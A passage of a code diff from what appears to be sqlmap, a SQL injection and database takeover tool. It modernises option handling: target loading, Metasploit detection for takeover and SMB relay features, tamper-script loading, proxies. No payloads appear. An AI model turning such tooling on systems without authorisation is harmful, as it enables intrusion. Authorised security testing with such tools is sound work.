targets list from '%s'" % conf.bulkFile logger.info(infoMsg) - if not os.path.isfile(conf.bulkFile): + if not checkFile(conf.bulkFile, False): errMsg = "the specified bulk file " errMsg += "does not exist" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException(errMsg) - f = open(conf.bulkFile, 'r') + found = False + for line in getFileItems(conf.bulkFile): + if conf.scope and not re.search(conf.scope, line, re.I): + continue - for line in f.xreadlines(): - if re.search(r"[^ ]+\?(.+)", line, re.I): - kb.targetUrls.add((line.strip(), None, None, None)) + if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data: + found = True + kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) - f.close() + if not found and not conf.forms and not conf.crawlDepth: + warnMsg = "no usable links found (with GET parameters)" + logger.warning(warnMsg) -def __findPageForms(): +def _findPageForms(): if not conf.forms or conf.crawlDepth: return - if not checkConnection(): + if conf.url and not checkConnection(): return + found = False infoMsg = "searching for forms" logger.info(infoMsg) - page, _ = Request.queryPage(content=True) + if not any((conf.bulkFile, conf.googleDork)): + page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True) + if findPageForms(page, conf.url, True, True): + found = True + else: + if conf.bulkFile: + targets = getFileItems(conf.bulkFile) + elif conf.googleDork: + targets = [_[0] for _ in kb.targets] + kb.targets.clear() + else: + targets = [] + + for i in xrange(len(targets)): + try: + target = targets[i].strip() + + if not re.search(r"(?i)\Ahttp[s]*://", target): + target = "http://%s" % target + + page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) + if findPageForms(page, target, False, True): + found = True + + if conf.verbose in (1, 2): + status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) + except KeyboardInterrupt: + break + except Exception as ex: + errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) + logger.error(errMsg) - findPageForms(page, conf.url, True, True) + if not found: + warnMsg = "no forms found" + logger.warning(warnMsg) -def __setDBMSAuthentication(): +def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as another user, not the session user """ - if not conf.dCred: + if not conf.dbmsCred: return debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) - dCredRegExp = re.search("^(.+?):(.*?)$", conf.dCred) + match = re.search(r"^(.+?):(.*?)$", conf.dbmsCred) - if not dCredRegExp: + if not match: errMsg = "DBMS authentication credentials value must be in format " errMsg += "username:password" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - conf.dbmsUsername = dCredRegExp.group(1) - conf.dbmsPassword = dCredRegExp.group(2) + conf.dbmsUsername = match.group(1) + conf.dbmsPassword = match.group(2) -def __setMetasploit(): +def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return @@ -590,13 +562,20 @@ def __setMetasploit(): msfEnvPathExists = False if IS_WIN: - warnMsg = "some sqlmap takeover functionalities are not yet " - warnMsg += "supported on Windows. Please use Linux in a virtual " - warnMsg += "machine for out-of-band features." - - logger.critical(warnMsg) - - raise sqlmapSilentQuitException + try: + __import__("win32file") + except ImportError: + errMsg = "sqlmap requires third-party module 'pywin32' " + errMsg += "in order to use Metasploit functionalities on " + errMsg += "Windows. You can download it from " + errMsg += "'https://github.com/mhammond/pywin32'" + raise SqlmapMissingDependence(errMsg) + + if not conf.msfPath: + for candidate in os.environ.get("PATH", "").split(';'): + if all(_ in candidate for _ in ("metasploit", "bin")): + conf.msfPath = os.path.dirname(candidate.rstrip('\\')) + break if conf.osSmb: isAdmin = runningAsAdmin() @@ -606,28 +585,26 @@ def __setMetasploit(): errMsg += "if you want to perform a SMB relay attack because " errMsg += "it will need to listen on a user-specified SMB " errMsg += "TCP port for incoming connection attempts" - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges(errMsg) if conf.msfPath: - condition = False - - for path in [conf.msfPath, os.path.join(conf.msfPath, 'bin')]: - condition = os.path.exists(normalizePath(path)) - condition &= os.path.exists(normalizePath(os.path.join(path, "msfcli"))) - condition &= os.path.exists(normalizePath(os.path.join(path, "msfconsole"))) - condition &= os.path.exists(normalizePath(os.path.join(path, "msfencode"))) - condition &= os.path.exists(normalizePath(os.path.join(path, "msfpayload"))) + for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): + if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): + msfEnvPathExists = True + if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): + kb.oldMsf = False + elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): + kb.oldMsf = True + else: + msfEnvPathExists = False - if condition: conf.msfPath = path break - if condition: + if msfEnvPathExists: debugMsg = "provided Metasploit Framework path " debugMsg += "'%s' is valid" % conf.msfPath logger.debug(debugMsg) - - msfEnvPathExists = True else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath @@ -635,66 +612,64 @@ def __setMetasploit(): warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" - logger.warn(warnMsg) + logger.warning(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" - logger.warn(warnMsg) + logger.warning(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " - warnMsg += "installation into the environment paths" - logger.warn(warnMsg) - - envPaths = os.environ["PATH"] + warnMsg += "installation inside the environment path(s)" + logger.warning(warnMsg) - if IS_WIN: - envPaths = envPaths.split(";") - else: - envPaths = envPaths.split(":") + envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") for envPath in envPaths: envPath = envPath.replace(";", "") - condition = os.path.exists(normalizePath(envPath)) - condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfcli"))) - condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfconsole"))) - condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfencode"))) - condition &= os.path.exists(normalizePath(os.path.join(envPath, "msfpayload"))) - - if condition: - infoMsg = "Metasploit Framework has been found " - infoMsg += "installed in the '%s' path" % envPath - logger.info(infoMsg) + if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True - conf.msfPath = envPath + if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): + kb.oldMsf = False + elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): + kb.oldMsf = True + else: + msfEnvPathExists = False - break + if msfEnvPathExists: + infoMsg = "Metasploit Framework has been found " + infoMsg += "installed in the '%s' path" % envPath + logger.info(infoMsg) + + conf.msfPath = envPath + + break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " - errMsg += "Get it from http://metasploit.com/framework/download/" - raise sqlmapFilePathException, errMsg + errMsg += "You can get it at 'https://www.metasploit.com/download/'" + raise SqlmapFilePathException(errMsg) -def __setWriteFile(): - if not conf.wFile: +def _setWriteFile(): + if not conf.fileWrite: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) - if not os.path.exists(conf.wFile): - errMsg = "the provided local file '%s' does not exist" % conf.wFile - raise sqlmapFilePathException, errMsg + if not os.path.exists(conf.fileWrite): + errMsg = "the provided local file '%s' does not exist" % conf.fileWrite + raise SqlmapFilePathException(errMsg) - if not conf.dFile: + if not conf.fileDest: errMsg = "you did not provide the back-end DBMS absolute path " - errMsg += "where you want to write the local file '%s'" % conf.wFile - raise sqlmapMissingMandatoryOptionException, errMsg + errMsg += "where you want to write the local file '%s'" % conf.fileWrite + raise SqlmapMissingMandatoryOptionException(errMsg) - conf.wFileType = getFileType(conf.wFile) + conf.fileWriteType = getFileType(conf.fileWrite) -def __setOS(): +def _setOS(): """ Force the back-end DBMS operating system option. """ @@ -709,7 +684,7 @@ def __setOS(): errMsg += "If you do not know the back-end DBMS underlying OS, " errMsg += "do not provide it and sqlmap will fingerprint it for " errMsg += "you." - raise sqlmapUnsupportedDBMSException, errMsg + raise SqlmapUnsupportedDBMSException(errMsg) debugMsg = "forcing back-end DBMS operating system to user defined " debugMsg += "value '%s'" % conf.os @@ -717,28 +692,28 @@ def __setOS(): Backend.setOs(conf.os) -def __setTechnique(): +def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) - validLetters = map(lambda x: x[0][0].upper(), validTechniques) + validLetters = [_[0][0].upper() for _ in validTechniques] - if conf.tech and isinstance(conf.tech, basestring): + if conf.technique and isinstance(conf.technique, six.string_types): _ = [] - for letter in conf.tech.upper(): + for letter in conf.technique.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) errMsg += "user's manual for details" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) for validTech, validInt in validTechniques: if letter == validTech[0]: _.append(validInt) break - conf.tech = _ + conf.technique = _ -def __setDBMS(): +def _setDBMS(): """ Force the back-end DBMS option. """ @@ -750,7 +725,7 @@ def __setDBMS(): logger.debug(debugMsg) conf.dbms = conf.dbms.lower() - regex = re.search("%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) + regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) @@ -758,20 +733,34 @@ def __setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. The supported DBMS are %s. " % ', '.join([d for d in DBMS_DICT]) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." - raise sqlmapUnsupportedDBMSException, errMsg + raise SqlmapUnsupportedDBMSException(errMsg) - for aliases in (MSSQL_ALIASES, MYSQL_ALIASES, PGSQL_ALIASES, ORACLE_ALIASES, \ - SQLITE_ALIASES, ACCESS_ALIASES, FIREBIRD_ALIASES, \ - MAXDB_ALIASES, SYBASE_ALIASES, DB2_ALIASES): + for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: - conf.dbms = aliases[0] + conf.dbms = dbms break -def __setTamperingFunctions(): +def _listTamperingFunctions(): + """ + Lists available tamper functions + """ + + if conf.listTampers: + infoMsg = "listing available tamper scripts\n" + logger.info(infoMsg) + + for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): + content = openFile(script, 'r').read() + match = re.search(r'(?s)__priority__.+"""(.+)"""', content) + if match: + comment = match.group(1).strip() + dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) + +def _setTamperingFunctions(): """ Loads tampering functions from given script(s) """ @@ -782,63 +771,70 @@ def __setTamperingFunctions(): resolve_priorities = False priorities = [] - for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False - tfile = tfile.strip() + path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH) + script = safeFilepathEncode(script.strip()) - if not tfile: - continue + try: + if not script: + continue - elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)): - tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile) + elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)): + script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script) - elif not os.path.exists(tfile): - errMsg = "tamper script '%s' does not exist" % tfile - raise sqlmapFilePathException, errMsg + elif not os.path.exists(script): + errMsg = "tamper script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) - elif not tfile.endswith('.py'): - errMsg = "tamper script '%s' should have an extension '.py'" % tfile - raise sqlmapSyntaxException, errMsg + elif not script.endswith(".py"): + errMsg = "tamper script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--tamper'" + raise SqlmapSyntaxException(errMsg) - dirname, filename = os.path.split(tfile) + dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) - infoMsg = "loading tamper script '%s'" % filename[:-3] + infoMsg = "loading tamper module '%s'" % filename[:-3] logger.info(infoMsg) - if not os.path.exists(os.path.join(dirname, '__init__.py')): + if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname - raise sqlmapGenericException, errMsg + raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: - module = __import__(filename[:-3]) - except ImportError, msg: - raise sqlmapSyntaxException, "can not import tamper script '%s' (%s)" % (filename[:-3], msg) + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) - priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ + priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ + priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper" and function.func_code.co_argcount == 1: + if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) + function.__name__ = module.__name__ if check_priority and priority > last_priority: - message = "it seems that you might have mixed " - message += "the order of tamper scripts.\n" + message = "it appears that you might have mixed " + message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): - resolve_priorities = True - elif test[0] in ("n", "N"): + if choice == 'N': resolve_priorities = False - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + elif choice == 'Q': + raise SqlmapUserQuitException + else: + resolve_priorities = True check_priority = False @@ -847,132 +843,485 @@ def __setTamperingFunctions(): break elif name == "dependencies": - function() + try: + function() + except Exception as ex: + errMsg = "error occurred while checking dependencies " + errMsg += "for tamper module '%s' ('%s')" % (getUnicode(filename[:-3]), getSafeExString(ex)) + raise SqlmapGenericException(errMsg) if not found: - raise sqlmapGenericException, "missing function 'tamper(value)' in tamper script '%s'" % tfile + errMsg = "missing function 'tamper(payload, **kwargs)' " + errMsg += "in tamper script '%s'" % script + raise SqlmapGenericException(errMsg) + + if kb.tamperFunctions and len(kb.tamperFunctions) > 3: + warnMsg = "using too many tamper scripts is usually not " + warnMsg += "a good idea" + logger.warning(warnMsg) if resolve_priorities and priorities: - priorities.sort(reverse=True) + priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) -def __setThreads(): +def _setPreprocessFunctions(): + """ + Loads preprocess function(s) from given script(s) + """ + + if conf.preprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "preprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "preprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--preprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading preprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of preprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + try: + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + found = True + + kb.preprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 + pass + + if not found: + errMsg = "missing function 'preprocess(req)' " + errMsg += "in preprocess script '%s'" % script + raise SqlmapGenericException(errMsg) + else: + try: + function(_urllib.request.Request("http://localhost")) + except Exception as ex: + tbMsg = traceback.format_exc() + + if conf.debug: + dataToStdout(tbMsg) + + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") + + errMsg = "function 'preprocess(req)' " + errMsg += "in preprocess script '%s' " % script + errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) + errMsg += "You can find a template script at '%s'" % filename + raise SqlmapGenericException(errMsg) + +def _setPostprocessFunctions(): + """ + Loads postprocess function(s) from given script(s) + """ + + if conf.postprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "postprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "postprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--postprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading postprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of postprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + found = True + + kb.postprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + + if not found: + errMsg = "missing function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s'" % script + raise SqlmapGenericException(errMsg) + else: + try: + _, _, _ = function("", {}, None) + except: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") + + errMsg = "function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s' " % script + errMsg += "should return a tuple '(page, headers, code)' " + errMsg += "(Note: find template script at '%s')" % filename + raise SqlmapGenericException(errMsg) + +def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 -def __setDNSCache(): +def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. """ def _getaddrinfo(*args, **kwargs): - if args in kb.cache: - return kb.cache[args] + key = (args, frozenset(kwargs.items())) - else: - kb.cache[args] = socket._getaddrinfo(*args, **kwargs) - return kb.cache[args] + if key in kb.cache.addrinfo: + return kb.cache.addrinfo[key] + + kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs) + return kb.cache.addrinfo[key] - if not hasattr(socket, '_getaddrinfo'): + if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo -def __setHTTPProxy(): +def _setSocketPreConnect(): """ - Check and set the HTTP proxy to pass by all HTTP requests. + Makes a pre-connect version of socket.create_connection """ - global proxyHandler + if conf.disablePrecon: + return - if not conf.proxy: - if conf.hostname in ('localhost', '127.0.0.1') or conf.ignoreProxy: - proxyHandler = urllib2.ProxyHandler({}) + def _thread(): + while kb.get("threadContinue") and not conf.get("disablePrecon"): + try: + with kb.locks.socket: + keys = list(socket._ready.keys()) + + for key in keys: + with kb.locks.socket: + q = socket._ready.get(key) + if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE: + continue + args = key[0] + kwargs = dict(key[1]) + + s = socket._create_connection(*args, **kwargs) + + with kb.locks.socket: + q = socket._ready.get(key) + if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: + q.append((s, time.time())) + s = None + + if s is not None: + try: + s.close() + except: + pass + + except KeyboardInterrupt: + break + except: + pass + finally: + time.sleep(0.01) + + def create_connection(*args, **kwargs): + retVal = None + stale = [] + + key = (tuple(args), frozenset(kwargs.items())) + with kb.locks.socket: + if key not in socket._ready: + socket._ready[key] = collections.deque() + + q = socket._ready[key] + while len(q) > 0: + candidate, created = q.popleft() + if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: + retVal = candidate + break + else: + stale.append(candidate) - return + for candidate in stale: + try: + candidate.shutdown(socket.SHUT_RDWR) + candidate.close() + except: + pass - debugMsg = "setting the HTTP proxy to pass by all HTTP requests" - logger.debug(debugMsg) + if not retVal: + retVal = socket._create_connection(*args, **kwargs) + else: + try: + retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout())) + except: + pass + + return retVal - __proxySplit = urlparse.urlsplit(conf.proxy) - __hostnamePort = __proxySplit[1].split(":") + if not hasattr(socket, "_create_connection"): + socket._ready = {} + socket._create_connection = socket.create_connection + socket.create_connection = create_connection - __scheme = __proxySplit[0] - __hostname = __hostnamePort[0] - __port = None - __proxyString = "" + thread = threading.Thread(target=_thread) + setDaemon(thread) + thread.start() - if len(__hostnamePort) == 2: - try: - __port = int(__hostnamePort[1]) - except: - pass #drops into the next check block +def _setHTTPHandlers(): + """ + Check and set the HTTP/SOCKS proxy for all HTTP requests. + """ - if not __scheme or not __hostname or not __port: - errMsg = "proxy value must be in format 'http://url:port'" - raise sqlmapSyntaxException, errMsg + with kb.locks.handlers: + if conf.proxyList: + conf.proxy = conf.proxyList[0] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] - if conf.pCred: - pCredRegExp = re.search("^(.*?):(.*?)$", conf.pCred) + if len(conf.proxyList) > 1: + infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy + logger.info(infoMsg) - if not pCredRegExp: - errMsg = "Proxy authentication credentials " - errMsg += "value must be in format username:password" - raise sqlmapSyntaxException, errMsg + elif not conf.proxy: + if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: + proxyHandler.proxies = {} - # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - __proxyString = "%s@" % conf.pCred + if conf.proxy: + debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" + logger.debug(debugMsg) - __proxyString += "%s:%d" % (__hostname, __port) + try: + _ = _urllib.parse.urlsplit(conf.proxy) + except Exception as ex: + errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc) + if match: + username, password = match.group(1), match.group(2) + else: + username, password = None, None + + hostnamePort = _.netloc.rsplit('@', 1)[-1].rsplit(":", 1) + + scheme = _.scheme.upper() + hostname = hostnamePort[0] + port = None + + if len(hostnamePort) == 2: + try: + port = int(hostnamePort[1]) + except: + pass # drops into the next check block + + if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): + errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) + raise SqlmapSyntaxException(errMsg) + + if conf.proxyCred: + _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) + if not _: + errMsg = "proxy authentication credentials " + errMsg += "value must be in format username:password" + raise SqlmapSyntaxException(errMsg) + else: + username = _.group(1) + password = _.group(2) + + if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): + proxyHandler.proxies = {} + + if scheme == PROXY_TYPE.SOCKS4: + warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" + singleTimeWarnMessage(warnMsg) + + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) + socks.wrapmodule(_http_client) + else: + socks.unwrapmodule(_http_client) - # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2: - # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests - # can't be tunneled over an HTTP proxy natively by Python (<= 2.5) - # urllib2 standard library - if PYVERSION >= "2.6": - proxyHandler = urllib2.ProxyHandler({"http": __proxyString, "https": __proxyString}) - elif conf.scheme == "https": - proxyHandler = ProxyHTTPSHandler(__proxyString) - else: - proxyHandler = urllib2.ProxyHandler({"http": __proxyString}) + if conf.proxyCred: + # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection + proxyString = "%s@" % conf.proxyCred + else: + proxyString = "" + + proxyString += "%s:%d" % (hostname, port) + proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} + + proxyHandler.__init__(proxyHandler.proxies) + + if not proxyHandler.proxies: + for _ in ("http", "https"): + if hasattr(proxyHandler, "%s_open" % _): + delattr(proxyHandler, "%s_open" % _) + + debugMsg = "creating HTTP requests opener object" + logger.debug(debugMsg) + + handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) + + if not conf.dropSetCookie: + if not conf.loadCookies: + conf.cj = _http_cookiejar.CookieJar() + else: + conf.cj = _http_cookiejar.MozillaCookieJar() + resetCookieJar(conf.cj) + + handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) + + # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html + if conf.keepAlive: + warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " + warnMsg += "been disabled because of its incompatibility " + + if conf.proxy: + warnMsg += "with HTTP(s) proxy" + logger.warning(warnMsg) + elif conf.authType: + warnMsg += "with authentication methods" + logger.warning(warnMsg) + else: + handlers.append(keepAliveHandler) -def __setSafeUrl(): + opener = _urllib.request.build_opener(*handlers) + opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" + _urllib.request.install_opener(opener) + +def _setSafeVisit(): """ - Check and set the safe URL options. + Check and set the safe visit options. """ - if not conf.safUrl: + if not any((conf.safeUrl, conf.safeReqFile)): return - if not re.search("^http[s]*://", conf.safUrl): - if ":443/" in conf.safUrl: - conf.safUrl = "https://" + conf.safUrl + if conf.safeReqFile: + checkFile(conf.safeReqFile) + + raw = readCachedFileContent(conf.safeReqFile) + match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw.split('\n')[0].strip()) + + if match: + kb.safeReq.method = match.group(1) + kb.safeReq.url = match.group(2) + kb.safeReq.headers = {} + + for line in raw.split('\n')[1:]: + line = line.strip() + if line and ':' in line: + key, value = line.split(':', 1) + value = value.strip() + kb.safeReq.headers[key] = value + if key.upper() == HTTP_HEADER.HOST.upper(): + if not value.startswith("http"): + scheme = "http" + if value.endswith(":443"): + scheme = "https" + value = "%s://%s" % (scheme, value) + kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url) + else: + break + + post = None + + if '\r\n\r\n' in raw: + post = raw[raw.find('\r\n\r\n') + 4:] + elif '\n\n' in raw: + post = raw[raw.find('\n\n') + 2:] + + if post and post.strip(): + kb.safeReq.post = post + else: + kb.safeReq.post = None else: - conf.safUrl = "http://" + conf.safUrl - - if conf.saFreq <= 0: - errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe url feature" - raise sqlmapSyntaxException, errMsg - -def __setPrefixSuffix(): - if conf.prefix is not None and conf.suffix is None: - errMsg = "you specified the payload prefix, but did not provide " - errMsg += "the payload suffix" - raise sqlmapSyntaxException, errMsg - elif conf.prefix is None and conf.suffix is not None: - errMsg = "you specified the payload suffix, but did not provide " - errMsg += "the payload prefix" - raise sqlmapSyntaxException, errMsg + errMsg = "invalid format of a safe request file" + raise SqlmapSyntaxException(errMsg) + else: + if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl): + if ":443/" in conf.safeUrl: + conf.safeUrl = "https://%s" % conf.safeUrl + else: + 